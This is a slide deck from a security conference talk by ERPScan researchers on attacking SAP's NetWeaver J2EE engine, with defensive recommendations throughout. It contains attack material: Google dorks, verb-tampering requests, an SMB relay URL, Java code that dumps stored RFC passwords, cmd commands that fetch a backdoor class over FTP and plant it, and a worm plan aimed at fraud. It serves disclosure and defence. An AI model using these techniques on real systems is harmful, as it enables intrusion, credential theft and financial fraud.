Invest in security to secure investments

SAPocalypse NOW: Crushing SAP’s J2EE Engine

Alexander Polyakov, Dmitry Chastuhin
ERPScan
• CTO of the ERPScan company
• Head of DSecRG (research subdivision)
• Architect of ERPScan Security Scanner for OWASP-EAS project leader
• Business application security expert
• Co-organizer Russian security conf

@sh2kerr
- Principle researcher of the ERPScan company
- Member of DSecRG (research subdivision)
- Find vulns in Google, Yandex, Vkontakte
- SAP security expert focused on JAVA stack
Innovative company engaged in ERP security R&D with flagship product - **ERPScan Security Scanner for SAP**

- **Tools:**
  - Pentesting tool
  - sasploit
  - web.xml scanner

- **Consulting Services:**
  - SAP Pentest
  - SAP Assessment
  - SAP Code review

Leading SAP AG partner in the field of discovering security vulnerabilities by the number of founded vulnerabilities

[erpscanscanner.com](http://erpscanscanner.com)  ERPScan — invest in security to secure investments
Agenda

- Intro
- Attacking SAP internally
- Attacking SAP externally
- Auth bypass vulnerability
- Backdooring J2EE
- From J2EE to ABAP
- DEMO
- SAPocalypse Worm
- Defense
- DEMO
- Conclusion
What is SAP?

Shut up
And
Pay
• Most popular business application
• More than 120000 customers
• 74% of Forbes 500

INNOVATIVE COMPANIES LEAD THE CHARGE
"50 MOST INNOVATIVE COMPANIES"

SONY, JPMorgan Chase, Nike, IBM, Amazon.com, McDonald's, Nestle, Johnson & Johnson, Coca-Cola, at&t, ExxonMobil, RIM, Verizon, P&G, Samsung, Walmart, Microsoft, Apple, Intel, 3M, Shell, BMW, and more.

erpscan.com  ERPScan — invest in security to secure investments
SAP? Who cares?
SAP? Who cares?
SAP Engines

ABAP

JAVA
SAP Engines

ABAP

Automation of business processes:

- ERP
- PLM
- CRM
- SRM
Integration, Collaboration, Management

- SAP Portal
- SAP PI
- SAP XI
- SAP Mobile
- Solution Manager
Hackers know about it
They will find easier ways to control your business!
J2EE Platform Architecture
SAP Security for Administrators

Remote control
Authentication
Data Source
User Management
Encryption

erpscan.com
ERPScan — invest in security to secure investments
Hacking SAP NetWeaver J2EE
SAP NetWeaver J2EE for attacker’s

Open Ports

Web-applications
## Open Ports

<table>
<thead>
<tr>
<th>Service Name</th>
<th>Port Number</th>
<th>Default Value</th>
<th>Range (min-max)</th>
</tr>
</thead>
<tbody>
<tr>
<td>HTTP</td>
<td>5NN00</td>
<td>50000</td>
<td>50000-59900</td>
</tr>
<tr>
<td>HTTP over SSL</td>
<td>5NN01</td>
<td>50001</td>
<td>50001-59901</td>
</tr>
<tr>
<td>IIOP</td>
<td>5NN07</td>
<td>50007</td>
<td>50007-59907</td>
</tr>
<tr>
<td>IIOP Initial Context</td>
<td>5NN02</td>
<td>50002</td>
<td>50002-59902</td>
</tr>
<tr>
<td>IIOP over SSL</td>
<td>5NN03</td>
<td>50003</td>
<td>50003-59903</td>
</tr>
<tr>
<td>P4</td>
<td>5NN04</td>
<td>50004</td>
<td>50004-59904</td>
</tr>
<tr>
<td>P4 over HTTP</td>
<td>5NN05</td>
<td>50005</td>
<td>50005-59905</td>
</tr>
<tr>
<td>P4 over SSL</td>
<td>5NN06</td>
<td>50006</td>
<td>50006-59906</td>
</tr>
<tr>
<td>Telnet</td>
<td>5NN08</td>
<td>50008</td>
<td>50008-59908</td>
</tr>
<tr>
<td>LogViewer control</td>
<td>5NN09</td>
<td>50009</td>
<td>50009-59909</td>
</tr>
<tr>
<td>JMS</td>
<td>5NN10</td>
<td>50010</td>
<td>50010-59910</td>
</tr>
</tbody>
</table>

By default all encryption on all ports and protocols is disabled
Insecure password encryption in P4

P4 – protocol is using by Visual Admin app
Insecure password encryption in P4

P4 – protocol is using by Visual Admin app

By default data transmitted in cleartext
Insecure password encryption in P4

- P4 – protocol is used by the Visual Admin app
- By default, data is transmitted in cleartext
- But, passwords are encrypted
Insecure password encryption in P4

- P4 – protocol is used by Visual Admin app
- By default, data transmitted in cleartext
- But password is encrypted

Let's look deeper
Hacking SAP NetWeaver J2EE
And

Impress me
Insecure password encryption in P4

```c
/* 87 */ char mask = 43690;
/* 88 */ char check = 21845;
/* 89 */ char[] result = new char[data.length + 1];
/* */
/* 91 */ for (int i = 0; i < data.length; ++i) {
/* 92 */ mask = (char)(mask ^ data[i]);
/* 93 */ result[i] = mask;
/* */
/* 95 */ result[data.length] = (char)(mask ^ check);
/* */
/* 97 */ return result;
```
Prevention:

- Use SSL for securing all data transmitting between server-server and server-client connections

http://help.sap.com/saphelp_nwpi71/helpdata/de/14/ef2940cbf2195de10000000a1550b0/content.htm
Attacking from the internet
Founding a target

- inurl:/irj/portal
- inurl:/IciEventService sap
- inurl:/IciEventService/IciEventConf
- inurl:/wsnavigator/jsp/test.jsp
- inurl:/irj/go/km/docs/

But SAP can be only accessed internally. Yeah sure :)

erpscanel.com
SAP NetWeaver 6.4

300 web – applications

ерпсн.ком

ERPScan — invest in security to secure investments
SAP NetWeaver 7.0

500 web – applications
ERPScan
Security Scanner for SAP

SAP NetWeaver 7.2

1200  web – applications
Information disclose

Kernel or application release and SP version

DSECRG-11-023, DSECRG-11-027, DSECRG-00208
Information disclose

Kernel or application release and SP version
DSECRG-11-023, DSECRG-11-027, DSECRG-00208

Application logs and traces
DSECRG-00191, DSECRG-00232

Username
DSECRG-11-034
Information disclose

Kernel or application release and SP version
- DSECRG-11-023, DSECRG-11-027, DSECRG-00208

Application logs and traces
- DSECRG-00191, DSECRG-00232

Username
- DSECRG-11-034

Internal port scanning, Internal User brute force
- DSECRG-11-032, DSECRG-00175
<table>
<thead>
<tr>
<th>Name of property</th>
<th>Value of property</th>
</tr>
</thead>
<tbody>
<tr>
<td>make.rel</td>
<td>NW048:06:REL</td>
</tr>
<tr>
<td>SP-Number</td>
<td>06</td>
</tr>
<tr>
<td>jdk.version</td>
<td>1.3</td>
</tr>
<tr>
<td>latest.change</td>
<td>10491</td>
</tr>
<tr>
<td>sync.time</td>
<td>2006-03-04 20:19</td>
</tr>
<tr>
<td>build.date</td>
<td>2006-03-04 20:19</td>
</tr>
</tbody>
</table>
DSECRG-11-027

Business Communication Broker - System Information

BCB/ICI version: 5.00.64507

SAP J2EE Engine: SAP J2EE Engine v7.00 PatchLevel with
2 cluster elements (1 dispatcher and 1 server)


1. connection: SAP Contact Center Simulator 5.00.64507
/ipcpricing/ui/BufferOverview.jsp?
server=172.16.0.13
& port=31337
& password=
& dispatcher=
& targetClient=
& view=
DSECRG-00231

/meSync/SatFileReceiver – username and version disclose
- Install SAP notes: 1548548, 1545883, 1503856, 948851, 1545883
- Don’t use Mobile Engine 2.1 and other unsupported apps
- Update the latest SAP notes every month
- Disable unnecessary applications
19.08.2011 [DSECRG-11-030] SAP NetWeaver JavaMailExamples - XSS
20.06.2011 [DSECRG-11-024] SAP NetWeaver performance Provider Root - XSS
20.06.2011 [DSECRG-11-026] SAP NetWeaver Trust Center Service - XSS
14.03.2011 [DSECRG-11-013] SAP NetWeaver Runtime - multiple XSS
14.03.2011 [DSECRG-11-012] SAP NetWeaver Integration Directory - multiple XSS
14.03.2011 [DSECRG-11-011] SAP Crystal Reports 2008 - Multiple XSS
14.03.2011 [DSECRG-11-010] SAP NetWeaver logon.html - XSS
14.03.2011 [DSECRG-11-009] SAP NetWeaver XI SOAP Adapter - XSS
14.12.2010 [DSECRG-09-067] SAP NetWeaver DTR - Multiple XSS
11.11.2010 [DSECRG-09-056] SAP Netweaver SQL Monitors - Multiple XSS
• Update the latest SAP notes
• Disable unnecessary applications
• Set service property SystemCookiesDataProtection to true.
SMBRelay in MMR

http://server:port/mmr/MMR?filename=\smbsniffer\anyfile
SMBRelay in MMR

http://server:port/mmr/MMR?filename=\smbsniffer\anyfile

Just send link to admin
• Update the latest SAP notes (1483888)
• Disable unnecessary applications
• Enable authorization checks where they are necessary
• For developers: limit access only for local system and also by directory and file type
• Enable SAP CSRF protection API
Standard XSRF Protection.
Framework generates XSRF token, applies either to POST-based or GET-based encoding, and validates the correctness of the subsequent requests.

Custom XSRF Protection.
Framework generates and provides an XSRF token to the application through the XSRF Protection API. The only way if you want to protect something different from standard GET/POST requests.

Standard XSRF Protection is recommended
Maybe there is a place where CSRF protection is impossible?
SAP have all but you need to find it (c) DSecRG
SPML Architecture
We can:
- Creating objects (except sap roles)
- Modifying objects (users, roles, groups)
- Searching for objects
- Deleting object
SPML Actions

We can:
- Creating objects (except sap roles)

We Need:
- UME.Spml_Read_Action
- UME.Spml_Write_Action
SPML Actions

We can:
- Creating objects (except saproles)

We Need:
- LIME Search-Based Actions

OR?
Attacking SPML

- Create html page that will send XmlHttpRequest to SPML
- Request must create a user
- Found XSS in SAP
- Inject this page unto XSS
- Wait until administrator clicks it

PROFIT
SAP asked: don’t publish details of SPML request
You can get details from SAP’s documentation

http://www.sdn.sap.com/irj/scn/go/portal/prtroot/docs/library/uuid/668e6629-0701-0010-7ca0-994cb7dec5a3?QuickLink=index&overrideLayout=true
• Limit access to SPML only for Administrators or IDM servers subnet
• Assign SPML administration roles only to a small amount of users
• Disable SPML if it is not used
• Update the latest SAP notes about XSS vulnerabilities
Authentication

Declarative
By WEB.XML

Programmatic
By UME

Web Dynpro - programmatic
Portal iViews - programmatic
J2EE Web apps - declarative
<security-constraint>
  <web-resource-collection>
    <web-resource-name>Restrictedaccess</web-resource-name>
    <url-pattern>/admin/*</url-pattern>
    <http-method>GET</http-method>
    <http-method>POST</http-method>
    <http-method>DELETE</http-method>
  </web-resource-collection>
  <auth-constraint>
    <role-name>admin</role-name>
  </auth-constraint>
</security-constraint>

WEB.XML file is stored in WEB-INF dir of app. root
Invoker Servlet

rapid calling servlets by their class name
Invoker Servlet

rapid calling servlets by their class name

Published by SAP in their security guides
Invoker Servlet

- rapid calling servlets by their class name
- Published by SAP in their security guides
- call any servlet from application even if it is not declared in WEB.XML
Invoker Servlet

- rapid calling servlets by their class name
- Published by SAP in their security guides
- call any servlet from application even if it is not declared in WEB.XML

Lets use it for bypass
<servlet>
    <servlet-name>CriticalAction</servlet-name>
    <servlet-class>com.sap.admin.Critical.Action</servlet-class>
</servlet>
<servlet-mapping>
    <servlet-name>CriticalAction</servlet-name>
    <url-pattern>/admin/critical</url-pattern>
</servlet-mapping>
<security-constraint>
    <web-resource-collection>
        <web-resource-name>Restrictedaccess</web-resource-name>
        <url-pattern>/admin/*</url-pattern>
        <http-method>GET</http-method>
    </web-resource-collection>
    <auth-constraint>
        <role-name>admin</role-name>
    </auth-constraint>
</security-constraint>
<servlet>
    <servlet-name>CriticalAction</servlet-name>
    <servlet-class>com.sap.admin.Critical.Action</servlet-class>
</servlet>

<servlet-mapping>
    <servlet-name>CriticalAction</servlet-name>
    <url-pattern>/admin/critical</url-pattern>
</servlet-mapping>

<security-constraint>
    <web-resource-collection>
        <web-resource-name>Restrictedaccess</web-resource-name>
        <url-pattern>/admin/*</url-pattern>
        <http-method>GET</http-method>
    </web-resource-collection>
    <auth-constraint>
        <role-name>admin</role-name>
    </auth-constraint>
</security-constraint>

What if we call /servlet/com.sap.admin.Critical.Action
• Update to the latest patch
• “EnableInvokerServletGlobally” property of the servlet_jsp must be “false”
• If you need to partially enable invoker servlet check SAP note 1445998
• For SAP NetWeaver Portal, see SAP Note 1467771

If you can’t install patches for some reasons you can check all WEB.XML files using ERPScan web.xml scanner manually.
I Came here with a simple dream........
A dream of owning all SAPs Using one bug
And I found it........

VERB Tampering
Verb Tampering

\[
\begin{align*}
\text{<security-constraint>}
\text{<web-resource-collection>}
\text{<web-resource-name>Restrictedaccess</web-resource-name>}
\text{<url-pattern>/admin/*</url-pattern>}
\text{<http-method>GET</http-method>}
\text{</web-resource-collection>}
\text{<auth-constraint>}
\text{<role-name>admin</role-name>}
\text{</auth-constraint>}
\text{</security-constraint>}
\end{align*}
\]

What if we will use HEAD instead of GET ?
Verb Tampering is a dark horse described by Arshan Dabirsiaghi in 2008 which doesn’t have many known examples until now
Verb Tampering is a dark horse described by Arshan Dabirsiaghi in 2008 which doesn’t have many known examples until now.
Verb Tampering is a dark horse described by Arshan Dabirsiaghi in 2008 which doesn’t have many known examples until now.

Must be security control that lists HTTP verbs

Security control fails to block verbs that are not listed
Verb Tampering

Verb Tampering is a dark horse described by Arshan Dabirsiaghi in 2008 which doesn’t have many known examples until now.

Must be security control that lists HTTP verbs

Security control fails to block verbs that are not listed

GET functionality will execute with an HEAD verb
Verb Tampering is a dark horse described by Arshan Dabirsigah in 2008 which doesn’t have many known examples until now

Must be security control that lists HTTP verbs

Security control fails to block verbs that are not listed

GET functionality will execute with an HEAD verb

Net Weaver J2EE engine has all that features !!!!
Need to check all 500 applications for:

- Application must miss HEAD check in WEB.XML
- Application must execute HEAD as GET
- Request must do some action that doesn’t need to return result
- Request must do some really critical action

Potentially about 40 applications are vulnerable
Round 1
HEAD
/dir/support/CheckService?cmd_check
&fileNameL=DEFAULT1.PFL
&directoryNameL=D:\usr\sap\DM0\SYS\profile

Can be used to overwrite any OS file with trash values
HEAD
/dir/support/CheckService?cmd_check
&fileNameL=file
&directoryNameL=\\smbsniffer\sniff\n
Can be used for SMBrelay attack and full access to OS
3 – unauthorized group assignment

- Secret interface for managing J2EE engine
- Can be accessed remotely
- Can run user management actions
- No documentation
- Many commands require additional auth

Except some 😊
We can:

- Add any user to any group
- Create any user
- Other things with users and roles
4 – total remote control

Only 2 HEAD requests
4 – total remote control

Only 2 HEAD requests

Create new user

Assign user to Administrators
DEMO

SHUT UP AND DEMO!!!!!!

erpscanc.com  ERPScan — invest in security to secure investments
There are still some VT vulns in SAP (*DSECRG-00243*)

It is architectural problem
How we can get on the ABAP if we don't have a credentials?
Hacking ABAP

RFC
The RFC is an SAP interface protocol, which simplifies the programming of communication processes between systems. The RFCs enable you to call and execute predefined functions in a remote system, or in the same system. In the J2EE Engine the RFC functions are implemented by the JCo RFC Provider service, which is used for processing ABAP to Java requests. A feature is provided for receiving calls from the SAP systems – this is done by registering the J2EE Engine as a RFC destination.

But we need a login and pass for RFC call
Secret interface can do more than user management
Yes! We can.

Secret interface can do more than user management

Execute OS command on the server side
Secret interface can do more than user management

Execute OS command on the server side

Create own Java RFC destinations
Secret interface can do more than user management

Execute OS command on the server side

Create own Java RFC destinations

Read properties of existing Java RFC destinations
Yes! We can.

- Secret interface can do more than user management
- Execute OS command on the server side
- Create own Java RFC destinations
- Read properties of existing Java RFC destinations

All that without authentication
Authorization?!
Ok. We can read properties of JAVA RFC destinations. So what?
Yes! We can.

Ok. We can read properties of JAVA RFC destinations. So what?

Users and passwords specified in RFC destination
Ok. We can read properties of JAVA RFC destinations. So what?

Users and passwords specified in RFC destination

Usually of highly privileged users (with SAP_ALL)
Yes! We can.

Ok. We can read properties of JAVA RFC destinations. So what?

Users and passwords specified in RFC destination

Usually of highly privileged users (with SAP_ALL)

Stored in JAVA RFC destinations in clear text
Ok. We can read properties of JAVA RFC destinations. So what?

Users and passwords specified in RFC destination

Usually of highly privileged users (with SAP_ALL)

Stored in JAVA RFC destinations in clear text

And we can easily get it
Say hello to credentials

We need it! and we can get it

Application server host: localhost
System number: S5
Client: 001
Language: de
User: SAP*
Password: ********
Obtaining RFC destinations by API

```java
public void getUsers(String _file) throws Exception {
    String text;

    ClassLoader origClassLoader = Thread.currentThread().getContextClassLoader();
    Thread.currentThread().setContextClassLoader(getClass().getClassLoader());

    InitialContext ctx = new InitialContext();

    Object obj = ctx.lookup("rfcengine");
    RFCRuntimeInterface runtime = (RFCRuntimeInterface)ctx.lookup("rfcengine");
    BundleConfiguration bundle = new BundleConfiguration();
    text = "Users: \n\n";
    BundleConfiguration[] bundles = runtime.getConfigurations();
    for(int i = 0; i<bundles.length; i++) {
        text += ("LogonUser \t" + bundles[i].getLogonUser() + "\n");
        text += ("LogonPassword \t" + bundles[i].getLogonPassword() + "\n");
        text += ("SystemNumber \t" + bundles[i].getSystemNumber() + "\n");
        text += ("LogonClient \t" + bundles[i].getLogonClient() + "\n\n");
    }

    save(text, _file);
    Thread.currentThread().setContextClassLoader(origClassLoader);
}```
We created little SAP Backdoor realized as java class. Which can:
We created little *SAP Backdoor* realized as java class. Which can:

Get JAVA RFC destinations users and passwords
We created little *SAP Backdoor* realized as java class. Which can:

- Get JAVA RFC destinations users and passwords
- Connect using them to ABAP servers
We created little *SAP Backdoor* realized as java class. Which can:

- Get JAVA RFC destinations users and passwords
- Connect using them to ABAP servers
- Read any ABAP table
We created little *SAP Backdoor* realized as java class. Which can:

- Get JAVA RFC destinations users and passwords
- Connect using them to ABAP servers
- Read any ABAP table
- Create users with SAP_ALL profile in ABAP engine
.........
CMDLINE=cmd /k echo open $ftp>> 123.txt,WORKDIR=$sap_dir",
CMDLINE=cmd /k echo $f_user>> 123.txt,WORKDIR=$sap_dir",
CMDLINE=cmd /k echo $f_pass>> 123.txt,WORKDIR=$sap_dir",
CMDLINE=cmd /k echo lcd $sap_dir>> 123.txt,WORKDIR=$sap_dir",
CMDLINE=cmd /k echo binary >> 123.txt,WORKDIR=$sap_dir",
CMDLINE=cmd /k echo mget Door.class>> 123.txt,WORKDIR=$sap_dir",
CMDLINE=cmd /k echo bye>> 123.txt,WORKDIR=$sap_dir",
CMDLINE=cmd /k echo FTP -v -i-s:123.txt>> 456.bat,WORKDIR=$sap_dir",
CMDLINE=cmd /k echo move Door.class $sap_dir\SM1\DVEBMGS00\j2ee\cluster\server0\apps\sap.com\******\anyapp*** ****\root\WEB-INF\classes\com\sap\ >> 456.bat,WORKDIR=$sap_dir",
CMDLINE=cmd /k echo del 123.txt >> 456.bat,WORKDIR=$sap_dir",
CMDLINE=cmd /k 456.bat,WORKDIR=$sap_dir",
CMDLINE=cmd /k del 456.bat,WORKDIR=$sap_dir",

$url/?param=com.*********.Door;GETUSERS;FILE=bla_$random_number"");
........
ERPScan — invest in security to secure investments
SAP Worm?

2002 SAP Virus by Jochen Hein
SAP Worm?

2002 SAP Virus by Jochen Hein

2009 ABAP Backdoors by Mariano
SAP Worm?

- 2002 SAP Virus by Jochen Hein
- 2009 ABAP Backdoors by Mariano
- 2010 stuxnet-style SAP worm by Alexander Polyakov
SAP Worm?

- 2002 SAP Virus by Jochen Hein
- 2009 ABAP Backdoors by Mariano
- 2010 stuxnet-style SAP worm by Alexander Polyakov
- 2010 ABAP-worm concept by Ertunga Ashal
SAP Worm?

- 2002 SAP Virus by Jochen Hein
- 2009 ABAP Backdoors by Mariano
- 2010 stuxnet-style SAP worm by Alexander Polyakov
- 2010 ABAP-worm concept by Ertunga Ashal
- 2011 New SAPocalypse worm
What issues?

SAP servers in search engines
What issues?

- SAP servers in search engines
- Auth bypass vulnerability in J2EE
What issues?

- SAP servers in search engines
- Auth bypass vulnerability in J2EE
- RFC connections to ABAP with powerful credentials
What issues?

- SAP servers in search engines
- Auth bypass vulnerability in J2EE
- RFC connections to ABAP with powerful credentials
- Default passwords in ABAP
What issues?

SAP servers in search engines

Auth bypass vulnerability in J2EE

RFC connections to ABAP with powerful credentials

Default passwords in ABAP

= SAPocalypse
Stage 1

Google hacking scan for vulnerable J2EE hosts
Stage 2

Exploiting J2EE hosts and uploading trojan

Here we can wait for a long time until real attack because backdoor is very stealthy
Obtaining all information about RFC connections
Creating backdoor users in pwned J2EE systems
Stage 5

Repeat
Profit 1

change vendor bank account number to yours

fast money

Easy to find
Obtain FI information before publication and play on Stocks

Hard to find

need to clearly understand business or sell access to backdoor
Sell information about corporate secrets to competitors

Big money

need to know how to sell it and who will buy
Denial of service

Hacktivism? Easy
A crushing blow
Prevention:

- Install SAP note 1503579, 1616259
- Scan applications using ERPScan WEB.XML check tool or manually
- Secure WEB.XML by deleting all <http-method>
- Disable application that are not necessary
Checking WEB.XML files for different misconfigurations

http://erpscan.com/products/erpscan-webxml-checker/
(1) **Information disclose** through error code. Checking for `<error-page>`
(2) **Auth bypass** through verb tampering. Checking for `<security-constraint>`.
(3) **Intercept critical data** through lack of SSL encryption for data transfer. Checking for `<transport-guarantee>`
(4) **Cookie stealing thought lack of SSL** for an authorization. Checking for `<session-config>`
(5) **Cookie stealing through XSS**. Checking for Httponly=true
(6) **Session stealing** when JSESSIONID are not in Cookie. Checking for `<tracking-mode>COOKIE<tracking-mode>`,
(7) **Increased CSRF or XSS probability** with big session timeout. Checking for `<session-config>`
(8) **Unauthorized actions** by locally enabled invoker servlets.
   Checking for `<param>InvokerServletLocallyEnabled</param>`
(9) **Invoker servlet bypass**. Checking for /* and /servlet/* in `<security-constraint>`
Conclusion

It is possible to protecting from almost all that kind of issues and we are hardly working with SAP to make it SECURE

SAP Guides

Regular Security assessments

Scanning

More reading

It’s all in your hands
Many of the researched things can't be disclosed now because of good relationship with SAP Security Response Team which I would like to thank for cooperation. However if you want to see new demos and 0-days follow us at @erpscan and attend feature presentations:

See ya 25 October - Miami USA at HackerHalted
Greetz to erpscan crew who helped: Dmitriy Evdokimov, Alexey Sintsov, Alexey Tuyrin, Pavel Kuzmin and also my friend Anton Spirin. And HITB Crew